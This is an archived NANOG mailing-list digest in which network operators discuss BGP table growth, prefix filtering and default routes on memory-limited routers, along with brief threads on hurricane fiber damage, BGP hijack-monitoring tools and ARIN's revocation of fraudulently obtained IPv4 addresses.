Wed, 15 May 2019 14:18:17 -0400 Subject: BGP prefix filter list In-Reply-To: <6879dd33-d7e2-8235-b396-d7ef8bf891ab@2mbit.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> <127132006.3178.1557933048055.JavaMail.mhammett@ThunderFuck> <29086d99-2014-a67a-3e25-00bec9a48a2f@2mbit.com> <87dfdf10-4cd6-7d57-4f49-94986171907a@netravnen.de> <6879dd33-d7e2-8235-b396-d7ef8bf891ab@2mbit.com> Message-ID: If you're going whitebox, I would check out Netgate's new product called TNSR. It uses VPP for the data plane, which does all its processing in user space, thus avoiding the inefficiencies of the kernel network stack. That's particularly important at higher speeds like 40G or 100G. Disclaimer: I have not tried it myself but I've only heard good things. On Wed, May 15, 2019 at 12:01 PM Brielle Bruns wrote: > On 5/15/2019 9:46 AM, Hansen, Christoffer wrote: > > > >> 'Tik, white box Linux/BSD, etc all offer good options at varying price > >> points. > > > > Any pointers and/or references, when looking into speeds *above* what is > > possible with aggregated 10G links? > > > > > That's a good question - I've not gotten past 10G yet. > > Cheaply, you could get ConnectX-3 40G PCIe cards and throw them in your > favorite Dell/HP/Supermicro/other rack mount server with your Linux/BSD > distro of choice, or VyOS for that matter. > > There are instructions online on converting the IB versions of the > Mellanox cards to their Ethernet counterparts, if you want to cut some > cost even more. > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From baldur.norddahl at gmail.com Wed May 15 18:22:42 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Wed, 15 May 2019 20:22:42 +0200 Subject: BGP prefix filter list In-Reply-To: <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: Hello On Wed, May 15, 2019 at 3:56 PM Mike Hammett wrote: > What is the most common platform people are using with such limitations? > How long ago was it deprecated? > > > We are a small network with approx 10k customers and two core routers. The routers are advertised as 2 million FIB and 10 million RIB. This morning at about 2 AM CET our iBGP session between the two core routers started flapping every 5 minutes. This is how long it takes to exchange the full table between the routers. The eBGP sessions to our transits were stable and never went down. The iBGP session is a MPLS multiprotocol BGP session that exhanges IPv4, IPv6 and VRF in a single session. We are working closely together with another ISP that have the same routers. His network went down as well. Nothing would help until I culled the majority of the IPv6 routes by installing a default IPv6 route together with a filter, that drops every IPv6 route received on our transits. After that I could not make any more experimentation. Need to have a maintenance window during the night. These routers have shared IPv4 and IPv6 memory space. My theory is that the combined prefix numbers is causing the problem. But it could also be some IPv6 prefix first seen this night, that triggers a bug. Or something else. Regards, Baldur -------------- next part -------------- An HTML attachment was scrubbed... URL: From mike.lyon at gmail.com Wed May 15 18:42:34 2019 From: mike.lyon at gmail.com (mike.lyon at gmail.com) Date: Wed, 15 May 2019 11:42:34 -0700 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: <611519B5-CA84-4AAF-9BE5-3A7BCD7F4875@gmail.com> Hello Baldur, What routers are you running? -Mike > On May 15, 2019, at 11:22, Baldur Norddahl wrote: > > Hello > >> On Wed, May 15, 2019 at 3:56 PM Mike Hammett wrote: >> What is the most common platform people are using with such limitations? How long ago was it deprecated? >> >> > > We are a small network with approx 10k customers and two core routers. The routers are advertised as 2 million FIB and 10 million RIB. > > This morning at about 2 AM CET our iBGP session between the two core routers started flapping every 5 minutes. This is how long it takes to exchange the full table between the routers. The eBGP sessions to our transits were stable and never went down. > > The iBGP session is a MPLS multiprotocol BGP session that exhanges IPv4, IPv6 and VRF in a single session. > > We are working closely together with another ISP that have the same routers. His network went down as well. > > Nothing would help until I culled the majority of the IPv6 routes by installing a default IPv6 route together with a filter, that drops every IPv6 route received on our transits. After that I could not make any more experimentation. Need to have a maintenance window during the night. > > These routers have shared IPv4 and IPv6 memory space. My theory is that the combined prefix numbers is causing the problem. But it could also be some IPv6 prefix first seen this night, that triggers a bug. Or something else. > > Regards, > > Baldur > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From baldur.norddahl at gmail.com Wed May 15 18:47:24 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Wed, 15 May 2019 20:47:24 +0200 Subject: BGP prefix filter list In-Reply-To: <611519B5-CA84-4AAF-9BE5-3A7BCD7F4875@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> <611519B5-CA84-4AAF-9BE5-3A7BCD7F4875@gmail.com> Message-ID: My purpose is not to shame the vendor, but anyway these are ZTE M6000. We are currently planing to implement Juniper MX204 instead, but not because of this incident. We just ran out of bandwidth and brand new MX204 are cheaper than 100G capable shelves for the old platform. Regards, Baldur On Wed, May 15, 2019 at 8:42 PM wrote: > Hello Baldur, > > What routers are you running? > > -Mike > > On May 15, 2019, at 11:22, Baldur Norddahl > wrote: > > Hello > > On Wed, May 15, 2019 at 3:56 PM Mike Hammett wrote: > >> What is the most common platform people are using with such limitations? >> How long ago was it deprecated? >> >> >> > We are a small network with approx 10k customers and two core routers. The > routers are advertised as 2 million FIB and 10 million RIB. > > This morning at about 2 AM CET our iBGP session between the two core > routers started flapping every 5 minutes. This is how long it takes to > exchange the full table between the routers. The eBGP sessions to our > transits were stable and never went down. > > The iBGP session is a MPLS multiprotocol BGP session that exhanges IPv4, > IPv6 and VRF in a single session. > > We are working closely together with another ISP that have the same > routers. His network went down as well. > > Nothing would help until I culled the majority of the IPv6 routes by > installing a default IPv6 route together with a filter, that drops every > IPv6 route received on our transits. After that I could not make any more > experimentation. Need to have a maintenance window during the night. > > These routers have shared IPv4 and IPv6 memory space. My theory is that > the combined prefix numbers is causing the problem. But it could also be > some IPv6 prefix first seen this night, that triggers a bug. Or something > else. > > Regards, > > Baldur > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From cb.list6 at gmail.com Wed May 15 18:50:41 2019 From: cb.list6 at gmail.com (Ca By) Date: Wed, 15 May 2019 11:50:41 -0700 Subject: BGP prefix filter list In-Reply-To: <20190515142546.GE24647@zeno.bixbytelephone.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> Message-ID: On Wed, May 15, 2019 at 7:27 AM Dan White wrote: > On 05/15/19 13:58 +0000, Phil Lavin wrote: > >> We're an eyeball network. We accept default routes from our transit > >> providers so in theory there should be no impact on reachability. > >> > >> I'm pretty concerned about things that I don't know due to inefficient > >> routing, e.g. customers hitting a public anycast DNS server in the wrong > >> location resulting in Geolocation issues. > > > >Ah! Understood. The default route(s) was the bit I missed. Makes a lot of > >sense if you can't justify buying new routers. > > > >Have you seen issues with Anycast routing thus far? One would assume that > >routing would still be fairly efficient unless you're picking up transit > >from non-local providers over extended L2 links. > > We've had no issues so far but this was a recent change. There was no > noticeable change to outbound traffic levels. > +1, there is no issue with this approach. i have been taking “provider routes” + default for a long time, works great. This makes sure you use each provider’s “customer cone” and SLA to the max while reducing your route load / churn. IMHO, you should only take full routes if your core business is providing full bgp feeds to downstrean transit customers. > -- > Dan White > BTC Broadband > Network Admin Lead > Ph 918.366.0248 (direct) main: (918)366-8000 > Fax 918.366.6610 email: dwhite at mybtc.com > http://www.btcbroadband.com > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed May 15 18:51:07 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 15 May 2019 13:51:07 -0500 (CDT) Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> <611519B5-CA84-4AAF-9BE5-3A7BCD7F4875@gmail.com> Message-ID: <940978384.3474.1557946266894.JavaMail.mhammett@ThunderFuck> I wouldn't call it shaming the vendor. There are a ton of platforms out there by nearly every vendor that can't accommodate modern table sizes. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Baldur Norddahl" To: nanog at nanog.org Sent: Wednesday, May 15, 2019 1:47:24 PM Subject: Re: BGP prefix filter list My purpose is not to shame the vendor, but anyway these are ZTE M6000. We are currently planing to implement Juniper MX204 instead, but not because of this incident. We just ran out of bandwidth and brand new MX204 are cheaper than 100G capable shelves for the old platform. Regards, Baldur On Wed, May 15, 2019 at 8:42 PM < mike.lyon at gmail.com > wrote: Hello Baldur, What routers are you running? -Mike On May 15, 2019, at 11:22, Baldur Norddahl < baldur.norddahl at gmail.com > wrote:
Hello On Wed, May 15, 2019 at 3:56 PM Mike Hammett < nanog at ics-il.net > wrote:
What is the most common platform people are using with such limitations? How long ago was it deprecated? We are a small network with approx 10k customers and two core routers. The routers are advertised as 2 million FIB and 10 million RIB. This morning at about 2 AM CET our iBGP session between the two core routers started flapping every 5 minutes. This is how long it takes to exchange the full table between the routers. The eBGP sessions to our transits were stable and never went down. The iBGP session is a MPLS multiprotocol BGP session that exhanges IPv4, IPv6 and VRF in a single session. We are working closely together with another ISP that have the same routers. His network went down as well. Nothing would help until I culled the majority of the IPv6 routes by installing a default IPv6 route together with a filter, that drops every IPv6 route received on our transits. After that I could not make any more experimentation. Need to have a maintenance window during the night. These routers have shared IPv4 and IPv6 memory space. My theory is that the combined prefix numbers is causing the problem. But it could also be some IPv6 prefix first seen this night, that triggers a bug. Or something else. Regards, Baldur
-------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed May 15 18:52:48 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 15 May 2019 13:52:48 -0500 (CDT) Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> Message-ID: <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> You can't do uRPF if you're not taking full routes. You also have a more limited set of information for analytics if you don't have full routes. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Ca By" To: "Dan White" Cc: nanog at nanog.org Sent: Wednesday, May 15, 2019 1:50:41 PM Subject: Re: BGP prefix filter list On Wed, May 15, 2019 at 7:27 AM Dan White < dwhite at olp.net > wrote: On 05/15/19 13:58 +0000, Phil Lavin wrote: >> We're an eyeball network. We accept default routes from our transit >> providers so in theory there should be no impact on reachability. >> >> I'm pretty concerned about things that I don't know due to inefficient >> routing, e.g. customers hitting a public anycast DNS server in the wrong >> location resulting in Geolocation issues. > >Ah! Understood. The default route(s) was the bit I missed. Makes a lot of >sense if you can't justify buying new routers. > >Have you seen issues with Anycast routing thus far? One would assume that >routing would still be fairly efficient unless you're picking up transit >from non-local providers over extended L2 links. We've had no issues so far but this was a recent change. There was no noticeable change to outbound traffic levels. +1, there is no issue with this approach. i have been taking “provider routes” + default for a long time, works great. This makes sure you use each provider’s “customer cone” and SLA to the max while reducing your route load / churn. IMHO, you should only take full routes if your core business is providing full bgp feeds to downstrean transit customers.
-- Dan White BTC Broadband Network Admin Lead Ph 918.366.0248 (direct) main: (918)366-8000 Fax 918.366.6610 email: dwhite at mybtc.com http://www.btcbroadband.com
-------------- next part -------------- An HTML attachment was scrubbed... URL: From cb.list6 at gmail.com Wed May 15 19:14:21 2019 From: cb.list6 at gmail.com (Ca By) Date: Wed, 15 May 2019 12:14:21 -0700 Subject: BGP prefix filter list In-Reply-To: <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> Message-ID: On Wed, May 15, 2019 at 11:52 AM Mike Hammett wrote: > You can't do uRPF if you're not taking full routes. > I would never do uRPF , i am not a transit shop, so no problem there. BCP38 is as sexy as i get. > You also have a more limited set of information for analytics if you don't > have full routes. > > Yep, i don’t run a sophisticate internet CDN either. Just pumping packets from eyeballs to clouds and back, mostly. > > ----- > Mike Hammett > Intelligent Computing Solutions > http://www.ics-il.com > > Midwest-IX > http://www.midwest-ix.com > > ------------------------------ > *From: *"Ca By" > *To: *"Dan White" > *Cc: *nanog at nanog.org > *Sent: *Wednesday, May 15, 2019 1:50:41 PM > > *Subject: *Re: BGP prefix filter list > > > > On Wed, May 15, 2019 at 7:27 AM Dan White wrote: > >> On 05/15/19 13:58 +0000, Phil Lavin wrote: >> >> We're an eyeball network. We accept default routes from our transit >> >> providers so in theory there should be no impact on reachability. >> >> >> >> I'm pretty concerned about things that I don't know due to inefficient >> >> routing, e.g. customers hitting a public anycast DNS server in the >> wrong >> >> location resulting in Geolocation issues. >> > >> >Ah! Understood. The default route(s) was the bit I missed. Makes a lot of >> >sense if you can't justify buying new routers. >> > >> >Have you seen issues with Anycast routing thus far? One would assume that >> >routing would still be fairly efficient unless you're picking up transit >> >from non-local providers over extended L2 links. >> >> We've had no issues so far but this was a recent change. There was no >> noticeable change to outbound traffic levels. >> > > +1, there is no issue with this approach. > > i have been taking “provider routes” + default for a long time, works > great. > > This makes sure you use each provider’s “customer cone” and SLA to the max > while reducing your route load / churn. > > IMHO, you should only take full routes if your core business is providing > full bgp feeds to downstrean transit customers. > > >> -- >> Dan White >> BTC Broadband >> Network Admin Lead >> Ph 918.366.0248 (direct) main: (918)366-8000 >> Fax 918.366.6610 email: dwhite at mybtc.com >> http://www.btcbroadband.com >> > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed May 15 19:19:45 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 15 May 2019 14:19:45 -0500 (CDT) Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> Message-ID: <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> As an eyeball network myself, you'll probably want to look at those things. You don't need to run a CDN to know where your bits are going. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Ca By" To: "Mike Hammett" Cc: "Dan White" , nanog at nanog.org Sent: Wednesday, May 15, 2019 2:14:21 PM Subject: Re: BGP prefix filter list On Wed, May 15, 2019 at 11:52 AM Mike Hammett < nanog at ics-il.net > wrote: You can't do uRPF if you're not taking full routes. I would never do uRPF , i am not a transit shop, so no problem there. BCP38 is as sexy as i get.
You also have a more limited set of information for analytics if you don't have full routes.
Yep, i don’t run a sophisticate internet CDN either. Just pumping packets from eyeballs to clouds and back, mostly.
----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com From: "Ca By" < cb.list6 at gmail.com > To: "Dan White" < dwhite at olp.net > Cc: nanog at nanog.org Sent: Wednesday, May 15, 2019 1:50:41 PM Subject: Re: BGP prefix filter list On Wed, May 15, 2019 at 7:27 AM Dan White < dwhite at olp.net > wrote:
On 05/15/19 13:58 +0000, Phil Lavin wrote: >> We're an eyeball network. We accept default routes from our transit >> providers so in theory there should be no impact on reachability. >> >> I'm pretty concerned about things that I don't know due to inefficient >> routing, e.g. customers hitting a public anycast DNS server in the wrong >> location resulting in Geolocation issues. > >Ah! Understood. The default route(s) was the bit I missed. Makes a lot of >sense if you can't justify buying new routers. > >Have you seen issues with Anycast routing thus far? One would assume that >routing would still be fairly efficient unless you're picking up transit >from non-local providers over extended L2 links. We've had no issues so far but this was a recent change. There was no noticeable change to outbound traffic levels.
+1, there is no issue with this approach. i have been taking “provider routes” + default for a long time, works great. This makes sure you use each provider’s “customer cone” and SLA to the max while reducing your route load / churn. IMHO, you should only take full routes if your core business is providing full bgp feeds to downstrean transit customers.
-- Dan White BTC Broadband Network Admin Lead Ph 918.366.0248 (direct) main: (918)366-8000 Fax 918.366.6610 email: dwhite at mybtc.com http://www.btcbroadband.com
-------------- next part -------------- An HTML attachment was scrubbed... URL: From beecher at beecher.cc Wed May 15 19:20:42 2019 From: beecher at beecher.cc (Tom Beecher) Date: Wed, 15 May 2019 15:20:42 -0400 Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: At a previous company , about 10-ish years ago, had the same problem due to equipment limitations, and wasn't able to get dollars to upgrade anything. The most effective thing for me at the time was to start dumping any prefix with an as-path length longer than 10. For our business then, if you were that 'far away' , there wasn't any good reason for us to keep your route. Following default was going to be good enough. It's still a reasonable solution I think in a lot of cases to filter out a lot of the unnecessary prepend messes out there today. On Wed, May 15, 2019 at 7:45 AM Baldur Norddahl wrote: > Hello > > This morning we apparently had a problem with our routers not handling > the full table. So I am looking into culling the least useful prefixes > from our tables. I can hardly be the first one to take on that kind of > project, and I am wondering if there is a ready made prefix list or > similar? > > Or maybe we have a list of worst offenders? I am looking for ASN that > announces a lot of unnecessary /24 prefixes and which happens to be far > away from us? I would filter those to something like /20 and then just > have a default route to catch all. > > Thanks, > > Baldur > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From sean at donelan.com Wed May 15 19:48:17 2019 From: sean at donelan.com (Sean Donelan) Date: Wed, 15 May 2019 15:48:17 -0400 (EDT) Subject: FCC Hurricane Michael after-action report In-Reply-To: <003e01d50a10$36d52330$a47f6990$@iname.com> References: , <003e01d50a10$36d52330$a47f6990$@iname.com> Message-ID: On Mon, 13 May 2019, frnkblk at iname.com wrote: > One of my takeaways from that article was that burying fiber underground > could likely have avoided many/most of these fiber cuts, though I’m not > familiar enough with the terrain to know how feasible that is. Nature is more powerful than humans. In Puerto Rico and US Virgin Islands, the hurricanes severely damaged essentially every type of infrastructure. Buried cables, aerial cables, microwave towers, cellular towers, satellite dishes, solar panels, primary and backup power stations, access roads, accesss airports, access seaports, broadcast radio/tv, cable TV systems, etc. etc. etc. All the island backbone ring buried cable systems in PR experienced multiple cuts due to mudslides, bridge failures, and other restoration activites. Immediately after the hurricanes, essentially every infrastructure damage assessment was 75% or worse, with most communications outside plant infrastructure 95% to 100% damaged. When there is only light to moderate damage, independent repair efforts are faster because you avoid lots coodination meetings. But with the major damage in PR and USVI, the lack of coodination caused conflicting repair efforts and re-work for the first several months. It wasn't patch and move on, it was rebuild from scratch. From vkotronis at ics.forth.gr Wed May 15 20:27:26 2019 From: vkotronis at ics.forth.gr (Vasileios Kotronis) Date: Wed, 15 May 2019 23:27:26 +0300 Subject: Cisco Crosswork Network Insights - or how to destroy a useful service In-Reply-To: <20190515175824.GC64519@dwc-laptop.dhcp.lbnl.us> References: <76282344-a1b4-ae58-3361-1616cfc65e0e@efes.iucc.ac.il> <20190515101606.GO54046@hanna.meerval.net> <20190515175824.GC64519@dwc-laptop.dhcp.lbnl.us> Message-ID: <8483d47b-169c-590e-8bc5-2dd2821d5f84@ics.forth.gr> Hello, we would be happy to collaborate to deploy and extend the ARTEMIS open-source software tool for monitoring, detection and potential automated mitigation of prefix hijacks, available on GitHub at https://github.com/FORTH-ICS-INSPIRE/artemis . Current monitoring sources include RIS live, BGPStream (classic RV + RIS and beta BMP support) and ExaBGP APIs to local monitors. You are most welcome to check out the code and test, provide feedback and/or integrate with existing custom tools you might use. Best regards, Vasileios On 15/5/19 8:58 μ.μ., Dale W. Carder wrote: > Thus spake Job Snijders (job at ntt.net) on Wed, May 15, 2019 at 12:16:06PM +0200: >> I recognise the issue you describe, and I'd like to share with you that >> we're going down another road. Nowadays, RIPE NCC offers a streaming API >> ("RIS Live") which has the data needed to analyse and correlate BGP >> UPDATES seen in the wild to business rules you as operator define. >> >> NTT folks are working on https://github.com/nlnog/bgpalerter/ - which >> relies on "RIPE RIS Live", this software should become a competitive >> replacement to current BGP monitoring tools. Stay tuned, the software >> will be more useful in the course of the next few weeks. > Similarly, one can integrate CAIDA's BGPStream Broker Service[1] into > their own tools. Like bgpalerter above, working with open source or > rolling your own tools is increasingly straightforward[2] due to these > community projects. > > Another viable project to keep an eye on is ARTEMIS[3] for monitoring. > > Dale > > [1] https://bgpstream.caida.org/data > [2] https://github.com/dwcarder/bgpwatch > [3] https://www.inspire.edu.gr/artemis/ -- ======================================= Vasileios Kotronis Postdoctoral Researcher, member of the INSPIRE Group INSPIRE = INternet Security, Privacy, and Intelligence REsearch Telecommunications and Networks Lab (TNL) Foundation for Research and Technology - Hellas (FORTH) Leoforos Plastira 100, Heraklion 70013, Greece Tel: +302810391241 Office: G-060 e-mail : vkotronis at ics.forth.gr url: http://inspire.edu.gr ======================================= From hannigan at gmail.com Wed May 15 22:03:45 2019 From: hannigan at gmail.com (Martin Hannigan) Date: Wed, 15 May 2019 18:03:45 -0400 Subject: ARIN v4 revocations with followup felony indictments Message-ID: ARIN revokes fraudulently obtained IPv4 numbers: http://www.circleid.com/posts/20190514_735k_fraudulently_obtained_ip_addresses_have_been_revoked/ USAO indicts Micfo founder in South Carolina. https://www.justice.gov/usao-sc/pr/charleston-man-and-business-indicted-federal-court-over-9m-fraud Relevant threads over at ARIN on PPML. Cheers, -M< -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists.nanog at monmotha.net Thu May 16 02:10:54 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Wed, 15 May 2019 22:10:54 -0400 Subject: FCC Hurricane Michael after-action report In-Reply-To: <1402085094.2824.1557924658012.JavaMail.mhammett@ThunderFuck> References: <003e01d50a10$36d52330$a47f6990$@iname.com> <20190514135113.GA18581@gsp.org> <1402085094.2824.1557924658012.JavaMail.mhammett@ThunderFuck> Message-ID: <6afb34cf-a9cb-8108-95f6-279013752e43@monmotha.net> On 5/15/19 8:51 AM, Mike Hammett wrote: > The majority of people doing locates are terrible at their job. > (Un)fortunately, people doing the conduit installations are often > terrible at their job as well. It's about a 50/50 split if the line was > located correctly and the installation crew was careless or the line > wasn't located correctly in the first places. Sometimes lines can be off > by 10 feet We had some issues around here where the locates were literally on the wrong side of the street. Crews were hitting gas lines left and right. Apparently in some cases they didn't actually LOCATE at all. They just sprayed and flagged based on some ancient (in many cases 50+ year old) "as-built" drawings. Didn't stop the county and cities from putting a stop to it after a while, though. Probably because, as you say, it was maybe 50/50 whether the locates were off vs. whether the boring crew just wasn't paying attention. How you can't know where an active pinger on your drill head is to within a few inches let alone several feet is beyond me. I dunno how the big guys get away with it. If I hit something, you can darn well bet someone's going to be on my neck immediately to shut the job down and pull my bond if possible. -- Brandon Martin From sethm at rollernet.us Thu May 16 05:14:47 2019 From: sethm at rollernet.us (Seth Mattinen) Date: Wed, 15 May 2019 22:14:47 -0700 Subject: FCC Hurricane Michael after-action report In-Reply-To: <6afb34cf-a9cb-8108-95f6-279013752e43@monmotha.net> References: <003e01d50a10$36d52330$a47f6990$@iname.com> <20190514135113.GA18581@gsp.org> <1402085094.2824.1557924658012.JavaMail.mhammett@ThunderFuck> <6afb34cf-a9cb-8108-95f6-279013752e43@monmotha.net> Message-ID: On 5/15/19 7:10 PM, Brandon Martin wrote: > I dunno how the big guys get away with it.  If I hit something, you can > darn well bet someone's going to be on my neck immediately to shut the > job down and pull my bond if possible. It helps when the people in the field are like 3 subcontractors removed. From mark.tinka at seacom.mu Thu May 16 07:05:50 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 16 May 2019 09:05:50 +0200 Subject: BGP prefix filter list In-Reply-To: <2c40df22-3541-e1b8-2301-46da4dd9377b@tiedyenetworks.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> <2c40df22-3541-e1b8-2301-46da4dd9377b@tiedyenetworks.com> Message-ID: On 15/May/19 19:20, Mike wrote: > > This is very true. I picked up a nicely equipped juniper mx240 - > waayyyy overkill for my current operation - for far, far cheaper than > anything I could have otherwise afforded new. Absolutely killer could > not be happier, and J has won a convert. But, I find this seems to be > the thing - needing capacity/feature sets/etc just to be able to stand > still, but not having the revenue stream to actually pay new for what > these vendors want to charge for their gear/licenses/etc. > It is a quagmire, isn't it? The revenue from capacity (Ethernet, IP, DWDM, SDH) is falling every year, to a point where it stops becoming a primary revenue source for any telecoms provider. However, the cost of equipment is not following suit, be it on the IP, Transport or Mobile side, terrestrial, marine or wireless. Work that is going on in the open space around all of this for hardware and software needs to pick its pace up, otherwise this disconnect between the loss of revenue and the cost of capex will remain. Mark. From ahad at swiftelnetworks.com Thu May 16 11:24:46 2019 From: ahad at swiftelnetworks.com (Ahad Aboss) Date: Thu, 16 May 2019 21:24:46 +1000 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <759132239.3117.1557928557613.JavaMail.mhammett@ThunderFuck> Message-ID: Hi Baldur, Have you tried disabling storage of received updates from your upstream on your edge/PE or Border? Just remove *soft-reconfiguration inbound* for eBGP peering with your upstream/s. This will resolve your issue. If you have multiple links to different upstream providers and you want to simplify your network operation, you might want to introduce a pair of route reflectors to handle all your IP and MPLS VPN routes... Cheers, Ahad On Thu, May 16, 2019 at 4:24 AM Baldur Norddahl wrote: > Hello > > On Wed, May 15, 2019 at 3:56 PM Mike Hammett wrote: > >> What is the most common platform people are using with such limitations? >> How long ago was it deprecated? >> >> >> > We are a small network with approx 10k customers and two core routers. The > routers are advertised as 2 million FIB and 10 million RIB. > > This morning at about 2 AM CET our iBGP session between the two core > routers started flapping every 5 minutes. This is how long it takes to > exchange the full table between the routers. The eBGP sessions to our > transits were stable and never went down. > > The iBGP session is a MPLS multiprotocol BGP session that exhanges IPv4, > IPv6 and VRF in a single session. > > We are working closely together with another ISP that have the same > routers. His network went down as well. > > Nothing would help until I culled the majority of the IPv6 routes by > installing a default IPv6 route together with a filter, that drops every > IPv6 route received on our transits. After that I could not make any more > experimentation. Need to have a maintenance window during the night. > > These routers have shared IPv4 and IPv6 memory space. My theory is that > the combined prefix numbers is causing the problem. But it could also be > some IPv6 prefix first seen this night, that triggers a bug. Or something > else. > > Regards, > > Baldur > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From blake at ispn.net Thu May 16 14:37:33 2019 From: blake at ispn.net (Blake Hudson) Date: Thu, 16 May 2019 09:37:33 -0500 Subject: BGP prefix filter list In-Reply-To: <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> Message-ID: <276e2707-1a49-81df-e734-df37f848d722@ispn.net> Ca, taking a self-originated default route (with or without an additional partial view of the global routing table) from your transit provider's edge router seems to make the assumption that your transit provider's edge router either has a full table or a working default route itself. In the case of transit provider outages (planned or unplanned), the transit provider's edge router that you peer with may be up and reachable (and generating a default route to your routers), but may not have connectivity to the greater internet. Put another way, if your own routers don't have a full routing table then they don't have enough information to make intelligent routing decisions and are offloading that responsibility onto the transit provider. IMHO, what's the point of being multi-homed if you can't make intelligent routing decisions and provide routing redundancy in the case of a transit provider outage? Mike Hammett wrote on 5/15/2019 2:19 PM: > As an eyeball network myself, you'll probably want to look at those > things. You don't need to run a CDN to know where your bits are going. > > > > ----- > Mike Hammett > Intelligent Computing Solutions > http://www.ics-il.com > > Midwest-IX > http://www.midwest-ix.com > > ------------------------------------------------------------------------ > *From: *"Ca By" > *To: *"Mike Hammett" > *Cc: *"Dan White" , nanog at nanog.org > *Sent: *Wednesday, May 15, 2019 2:14:21 PM > *Subject: *Re: BGP prefix filter list > > > > On Wed, May 15, 2019 at 11:52 AM Mike Hammett > wrote: > > You can't do uRPF if you're not taking full routes. > > > I would never do uRPF , i am not a transit shop, so no problem there. > BCP38 is as sexy as i get. > > > You also have a more limited set of information for analytics if > you don't have full routes. > > > Yep, i don’t run a sophisticate internet  CDN either. Just pumping > packets from eyeballs to clouds and back, mostly. > > > > ----- > Mike Hammett > Intelligent Computing Solutions > http://www.ics-il.com > > Midwest-IX > http://www.midwest-ix.com > > ------------------------------------------------------------------------ > *From: *"Ca By" > > *To: *"Dan White" > > *Cc: *nanog at nanog.org > *Sent: *Wednesday, May 15, 2019 1:50:41 PM > > *Subject: *Re: BGP prefix filter list > > > > On Wed, May 15, 2019 at 7:27 AM Dan White > wrote: > > On 05/15/19 13:58 +0000, Phil Lavin wrote: > >> We're an eyeball network. We accept default routes from our > transit > >> providers so in theory there should be no impact on > reachability. > >> > >> I'm pretty concerned about things that I don't know due to > inefficient > >> routing, e.g. customers hitting a public anycast DNS server > in the wrong > >> location resulting in Geolocation issues. > > > >Ah! Understood. The default route(s) was the bit I missed. > Makes a lot of > >sense if you can't justify buying new routers. > > > >Have you seen issues with Anycast routing thus far? One would > assume that > >routing would still be fairly efficient unless you're picking > up transit > >from non-local providers over extended L2 links. > > We've had no issues so far but this was a recent change. There > was no > noticeable change to outbound traffic levels. > > > +1, there is no issue with this approach. > > i have been taking “provider routes” + default for a long time, 